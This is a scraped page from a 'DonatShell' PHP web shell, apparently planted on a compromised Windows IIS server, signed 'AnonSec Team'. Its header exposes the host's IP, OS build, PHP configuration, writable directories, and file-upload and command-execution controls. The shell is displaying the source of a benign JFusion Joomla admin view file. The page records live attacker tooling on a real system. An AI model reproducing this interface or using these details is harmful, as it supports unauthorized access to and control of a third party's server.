DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_jfusion/views/logoutcheckerresult/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_jfusion/views/logoutcheckerresult//view.html.php
<?php

/**
 * This is view file for logoutcheckerresult
 *
 * PHP version 5
 *
 * @category   JFusion
 * @package    ViewsAdmin
 * @subpackage Logoutcheckerresults
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Renders the main admin screen that shows the configuration overview of all integrations
 *
 * @category   JFusion
 * @package    ViewsAdmin
 * @subpackage Logoutcheckerresults
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */
class jfusionViewLogoutCheckerResult extends JView
{
    /**
     * displays the view
     *
     * @param string $tpl template name
     *
     * @return mixed html output of view
     */
    function display($tpl = null)
    {
        //get the joomla id
	    $joomlaid = JRequest::getVar('joomlaid');
	    $user = (array)JFactory::getUser($joomlaid);
	    $options = array();
	    $options['group'] = 'USERS';
	    if (JRequest::getVar('show_unsensored') == 1) {
	        $options['show_unsensored'] = 1;
	    } else {
		    $options['show_unsensored'] = 0;
	    }
	    //prevent current joomla session from being destroyed
	    global $JFusionActivePlugin, $jfusionDebug;
	    $jfusionDebug = array();
	    $JFusionActivePlugin = 'joomla_int';
	    $jfusion_user = array('type' => 'user', 'name' => 'jfusion', 'params' => '');
	    $plugin = (object)$jfusion_user;
	        if(JFusionFunction::isJoomlaVersion('1.6')){
	            include_once JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . $plugin->name .  DS . $plugin->name . '.php';
	        } else {
	            include_once JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . $plugin->name . '.php';
	        }
	    $className = 'plg' . $plugin->type . $plugin->name;
	    if (class_exists($className)) {
	        $plugin = new $className($this, (array)$plugin);
	    }
	    $method_name = (JFusionFunction::isJoomlaVersion('1.6')) ? 'onUserLogout' : 'onLogoutUser';
	    if (method_exists($plugin, $method_name)) {
	        $response = $plugin->$method_name($user, $options);
	    }
	    
	    $this->assignRef('debug', $jfusionDebug);
        parent::display($tpl);
    }
    
    /**
     * function to override the default attach function
     *
     * @param string $sample sample name
     * 
     * @return string nothing
     */      
    function attach($sample)
    {
    }
}

Anon7 - 2022
AnonSec Team